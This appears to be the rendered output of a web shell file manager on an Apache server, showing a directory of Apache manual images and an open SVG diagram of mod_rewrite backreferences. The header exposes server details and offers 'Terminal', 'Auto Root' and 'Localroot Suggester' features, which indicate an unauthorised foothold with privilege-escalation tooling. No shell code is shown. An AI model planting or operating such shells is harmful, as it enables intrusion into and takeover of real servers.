Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
apache2-doc /
manual /
images /
Delete
Unzip
Name
Size
Permission
Date
Action
SupportApache-small.png
94.33
KB
-rw-r--r--
2025-12-05 10:21
apache_header.gif
3.99
KB
-rw-r--r--
2004-11-20 20:16
bal-man-b.png
314.32
KB
-rw-r--r--
2016-02-24 12:07
bal-man-w.png
366.12
KB
-rw-r--r--
2016-02-24 12:07
bal-man.png
249.94
KB
-rw-r--r--
2016-02-24 12:07
build_a_mod_2.png
72.71
KB
-rw-r--r--
2012-04-09 20:41
build_a_mod_3.png
50.05
KB
-rw-r--r--
2012-04-09 20:41
build_a_mod_4.png
39.25
KB
-rw-r--r--
2012-04-09 20:41
caching_fig1.gif
16.13
KB
-rw-r--r--
2005-08-23 20:19
caching_fig1.png
13.14
KB
-rw-r--r--
2007-09-11 05:11
caching_fig1.tr.png
11.19
KB
-rw-r--r--
2008-07-10 15:15
custom_errordocs.png
16.76
KB
-rw-r--r--
2007-09-11 05:11
down.gif
56
B
-rw-r--r--
2004-11-20 20:16
favicon.ico
1.06
KB
-rw-r--r--
2016-02-12 17:51
favicon.png
4.4
KB
-rw-r--r--
2025-10-02 19:59
feather.gif
3.57
KB
-rw-r--r--
2016-02-12 17:51
feather.png
20.65
KB
-rw-r--r--
2026-06-12 05:08
filter_arch.png
2.35
KB
-rw-r--r--
2007-09-11 05:11
filter_arch.pt-br.png
13.89
KB
-rw-r--r--
2026-05-13 19:40
filter_arch.tr.png
2.44
KB
-rw-r--r--
2008-07-10 15:15
home.gif
1.43
KB
-rw-r--r--
2004-11-20 20:16
index.gif
1.5
KB
-rw-r--r--
2004-11-20 20:16
left.gif
60
B
-rw-r--r--
2004-11-20 20:16
mod_filter_new.gif
2.34
KB
-rw-r--r--
2004-11-20 20:16
mod_filter_new.png
1.03
KB
-rw-r--r--
2007-09-11 05:11
mod_filter_new.pt-br.png
14.27
KB
-rw-r--r--
2026-05-13 19:40
mod_filter_new.tr.png
1.29
KB
-rw-r--r--
2008-07-10 15:15
mod_filter_old.gif
1.2
KB
-rw-r--r--
2004-11-20 20:16
mod_filter_old.png
738
B
-rw-r--r--
2026-06-12 05:08
mod_rewrite_fig1.png
89.06
KB
-rw-r--r--
2026-05-26 09:21
mod_rewrite_fig1.svg
6.43
KB
-rw-r--r--
2026-05-25 18:20
mod_rewrite_fig2.png
62.4
KB
-rw-r--r--
2026-05-26 09:21
mod_rewrite_fig2.svg
5.32
KB
-rw-r--r--
2026-05-25 18:41
pixel.gif
61
B
-rw-r--r--
2004-11-20 20:16
reverse-proxy-arch.png
11.43
KB
-rw-r--r--
2016-02-24 12:07
rewrite_backreferences.png
42.56
KB
-rw-r--r--
2026-05-26 09:21
rewrite_backreferences.svg
3.89
KB
-rw-r--r--
2026-05-25 20:23
rewrite_process_uri.png
86
KB
-rw-r--r--
2026-05-26 09:21
rewrite_process_uri.svg
5.74
KB
-rw-r--r--
2026-05-25 19:04
right.gif
59
B
-rw-r--r--
2004-11-20 20:16
ssl_intro_fig1.gif
5.6
KB
-rw-r--r--
2004-11-20 20:16
ssl_intro_fig1.png
3.25
KB
-rw-r--r--
2007-09-11 05:11
ssl_intro_fig2.gif
2.64
KB
-rw-r--r--
2004-11-20 20:16
ssl_intro_fig2.png
1.18
KB
-rw-r--r--
2007-09-11 05:11
ssl_intro_fig3.gif
3.93
KB
-rw-r--r--
2004-11-20 20:16
ssl_intro_fig3.png
2.51
KB
-rw-r--r--
2007-09-11 05:11
sub.gif
5.94
KB
-rw-r--r--
2004-11-20 20:16
syntax_rewritecond.png
57.45
KB
-rw-r--r--
2026-05-26 09:21
syntax_rewritecond.svg
3.09
KB
-rw-r--r--
2026-05-25 20:21
syntax_rewriterule.png
51.42
KB
-rw-r--r--
2026-05-26 09:21
syntax_rewriterule.svg
2.78
KB
-rw-r--r--
2026-05-25 20:16
up.gif
57
B
-rw-r--r--
2004-11-20 20:16
Save
Rename
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 700 180" width="700" height="180"> <defs> <marker id="arrowhead-blue" markerWidth="8" markerHeight="6" refX="7" refY="3" orient="auto"> <polygon points="0 0, 8 3, 0 6" fill="#2563eb"/> </marker> <marker id="arrowhead-red" markerWidth="8" markerHeight="6" refX="7" refY="3" orient="auto"> <polygon points="0 0, 8 3, 0 6" fill="#dc2626"/> </marker> <marker id="arrowhead-green" markerWidth="8" markerHeight="6" refX="7" refY="3" orient="auto"> <polygon points="0 0, 8 3, 0 6" fill="#16a34a"/> </marker> <style> text { font-family: "Courier New", Courier, monospace; font-size: 11px; fill: #333; } .sans { font-family: Arial, Helvetica, sans-serif; } .label { font-family: Arial, Helvetica, sans-serif; font-size: 9px; } .directive { font-weight: bold; fill: #000; } .ref1 { fill: #2563eb; font-weight: bold; } .ref2 { fill: #16a34a; font-weight: bold; } .refcond { fill: #dc2626; font-weight: bold; } rect.hl1 { fill: #dbeafe; stroke: #2563eb; stroke-width: 1.5; rx: 2; ry: 2; } rect.hl2 { fill: #dcfce7; stroke: #16a34a; stroke-width: 1.5; rx: 2; ry: 2; } rect.hlc { fill: #fee2e2; stroke: #dc2626; stroke-width: 1.5; rx: 2; ry: 2; } </style> </defs> <!-- Line 1: RewriteCond %{DOCUMENT_ROOT}/$1 !-f --> <text x="10" y="25" class="directive">RewriteCond</text> <text x="100" y="25">%{DOCUMENT_ROOT}/</text> <text x="220" y="25" class="ref1">$1</text> <text x="240" y="25">!-f</text> <!-- Line 2: RewriteCond %{HTTP_HOST} ^(admin.example.com)$ --> <text x="10" y="55" class="directive">RewriteCond</text> <text x="100" y="55">%{HTTP_HOST} ^</text> <rect class="hlc" x="206" y="41" width="130" height="18"/> <text x="208" y="55" class="refcond">(admin.example.com)</text> <text x="338" y="55">$</text> <!-- Line 3: RewriteRule ^/?([a-z]+)/(.*)$ /admin.foo?page=$1&id=$2&host=%1 [PT] --> <text x="10" y="95" class="directive">RewriteRule</text> <text x="100" y="95">^/?</text> <rect class="hl1" x="117" y="81" width="58" height="18"/> <text x="119" y="95" class="ref1">([a-z]+)</text> <text x="176" y="95">/</text> <rect class="hl2" x="183" y="81" width="33" height="18"/> <text x="185" y="95" class="ref2">(.*)</text> <text x="217" y="95">$</text> <text x="245" y="95">/admin.foo?page=</text> <text x="365" y="95" class="ref1">$1</text> <text x="379" y="95">&id=</text> <text x="407" y="95" class="ref2">$2</text> <text x="421" y="95">&host=</text> <text x="462" y="95" class="refcond">%1</text> <text x="485" y="95">[PT]</text> <!-- Arrow: $1 from Rule ([a-z]+) UP to Cond 1 TestString $1 (blue) --> <path d="M 146,81 C 146,60 220,40 222,29" style="stroke: #2563eb; stroke-width: 2; fill: none; marker-end: url(#arrowhead-blue);"/> <!-- Arrow: $1 from Rule ([a-z]+) RIGHT to Substitution $1 (blue) --> <path d="M 146,99 C 146,125 365,125 371,99" style="stroke: #2563eb; stroke-width: 2; fill: none; marker-end: url(#arrowhead-blue);"/> <text x="250" y="132" class="label ref1">$1</text> <!-- Arrow: $2 from Rule (.*) RIGHT to Substitution $2 (green) --> <path d="M 200,99 C 200,140 407,140 413,99" style="stroke: #16a34a; stroke-width: 2; fill: none; marker-end: url(#arrowhead-green);"/> <text x="310" y="148" class="label ref2">$2</text> <!-- Arrow: %1 from Cond 2 (admin.example.com) DOWN to Substitution %1 (red) --> <path d="M 270,59 C 350,65 462,70 468,81" style="stroke: #dc2626; stroke-width: 2; fill: none; marker-end: url(#arrowhead-red);"/> <text x="390" y="68" class="label refcond">%1</text> <!-- Legend --> <text x="10" y="175" class="sans label" style="fill: #666;">Blue $1, $2 = captured from RewriteRule Pattern (matched first). Red %1 = captured from last matched RewriteCond. $1 also available in Cond TestStrings.</text> </svg>